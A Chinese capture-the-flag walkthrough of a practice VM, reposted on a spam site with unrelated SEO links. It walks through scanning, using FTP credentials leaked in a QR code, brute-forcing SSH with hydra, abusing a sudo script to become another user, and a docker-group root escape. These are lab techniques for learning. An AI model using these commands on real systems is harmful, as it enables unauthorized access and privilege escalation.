当前位置: 首页 > news >正文

威海建设集团的网站是什么app开发设计

威海建设集团的网站是什么,app开发设计,上海财务外包公司,wordpress代码高亮插件张戈准备工作 靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。 信息收集 主机发现 攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。 nmap 192.168.31.0/24 -Pn -T4 目标靶机ip为:192…

准备工作

靶机下载地址,下载完成后使用virtualbox打开虚拟机,网络设置修改为桥接。

信息收集

主机发现

攻击机ip:192.168.31.218,nmap扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.228

端口扫描

nmap 192.168.31.228 -A -p- -T4

目标靶机开放了21,22,80端口。

  1. 21端口ftp服务,vsftpd 3.0.3

  2. 22端口ssh服务,OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

  3. 80端口http服务,Apache httpd 2.4.38

web站点信息收集

访问http服务,首页如下:

没什么信息,目录扫描dirsearch -u http://192.168.31.228,没信息,换个字典。

dirsearch -u http://192.168.31.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

找到一个隐蔽的目录hidden_text。访问结果如图:

Thank You指向另一个路径,访问得到一个二维码。

扫描内容如下:

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

渗透

FTP登录

根据web信息收集中二维码扫描内容,可知涉及FTP的简单的shell脚本的使用,ftp用户名是userftp,密码是ftpp@ssword,直接登录即可。这里我写的shell脚本,来显示文件列表(纯纯试一下ftp的简单shell脚本如何使用,都给出了用户名和密码直接登录即可,最终目的就是拿到ftp服务器中的两个文件)

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary                          # 设定传输方式为二进制方式
pwd                             # 查看FTP服务器上的当前工作目录
ls                              # 显示文件列表
bye                             # 推出ftp会话
EOF

执行shell脚本得到ftp当前工作目录,和文件列表。

修改一下shell脚本,下载FTP服务器上的文件。

#!/bin/bash
ftp -inv 192.168.31.228 << EOF  # EOF是一个分界标志
user userftp ftpp@ssword
binary  
get information.txt
get p_lists.txt
bye                             
EOF

执行脚本得到一个字典文件p_lists.txt和information.txt,information.txt内容如下:

Hello robin ...! I'm Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password.

存在一个用户robin,并给出了密码字典,爆破吧。

ssh爆破

给出了用户名和字典,hydra爆破ssh。

hydra -l robin -P p_lists.txt ssh://192.168.31.228

得到密码:k4rv3ndh4nh4ck3r

ssh登录过程中有点小问题,提示WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! ,解决方法如下:

ssh-keygen -R 192.168.31.228

之后正常登录即可。

get user1.txt!

接下来找到了user2.txt,但是仅jerry才有读权。

提权

sudo提权

sudo提权,sudo -l,发现可以通过/home/robin/project/feedback.sh提权到jerry。

feedback.sh当前仅有rx权限,放弃写入反弹shell的方法,直接执行,提示需要输入名字和目标机器。

sudo -u jerry ./feedback.shEnter Your Name:随便填一个
Enter You FeedBack About This Target Machine:/bin/bash

成功切换到jerry,注意到jerry用户加入了docker用户组。

获得一个交互式shell。

python3 -c 'import pty;pty.spawn("/bin/bash")'

get user2.txt!

docker容器提权

当前jerry用户是普通用户,且加入了docker组。有一个提权方式——普通用户利用docker容器提权。

补充:为什么能利用docker容器提权?因为用户创建一个docker容器后,容器内默认是root账户,会自动在命令前添加sudo。一个普通用户只要加入docker组就等同于root。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

提权成功。

get root.txt!🎆

http://www.yayakq.cn/news/563848/

相关文章:

  • 网站建设与运营公司财务预算高端网站开发 金蝶
  • 网站的风格指的是什么企业网站建设设计需要什么
  • 网站建设与网页设计课程设计建设银行网站怎么看不见余额
  • 做网站建设的前景做网站有哪些需求
  • 如何使用阿里云建站政协信息化网站建设的请示
  • 深圳专业的网站建设室外绿化工程施工方案久久建筑网
  • 比较好的免费网站网络平台推广方案
  • 千万不要嫁给程序员搜狗seo查询
  • 网站描述代码wordpress网页设计步骤
  • 网站如何做引流北京网页公司制作
  • o2o手机网站建设难网站色差表
  • 网站平台建设实训体会dz论坛做分类网站
  • 管理网站 开发微信运营推广方式
  • 合肥建站企业wordpress post 模板
  • 怎么注册网站卖东西网站后台建设怎么进入
  • 如何快速建设网站黄平网站建设
  • 网站建设人力调配范文永定门网站建设
  • 江苏省建设厅网站建造师强制注销做片头网站
  • 网站销售方案住房和城乡建设部证书查询
  • 专业做网站上海腾讯广告平台
  • 网站提现功能开发国土局网站建设情况
  • 邯郸哪儿能做网站网站打开慢的解决方法
  • 做网站上传图片多大合适wordpress小蜜蜂
  • 信誉好的广州外贸网站潍坊企业网站
  • 哈尔滨seo建站雅安 网站建设
  • 企业自助建站系统源码中小型企业建设网站
  • 网站页面优化内容包括哪些百度关键词优化多久上首页
  • 大同建设银行煤炭支行网站微信推广赚钱
  • 教育网站的开发与建设论文阿里巴巴国际站运营工作内容
  • 网站开发有没有前途做移动网站优化排名首页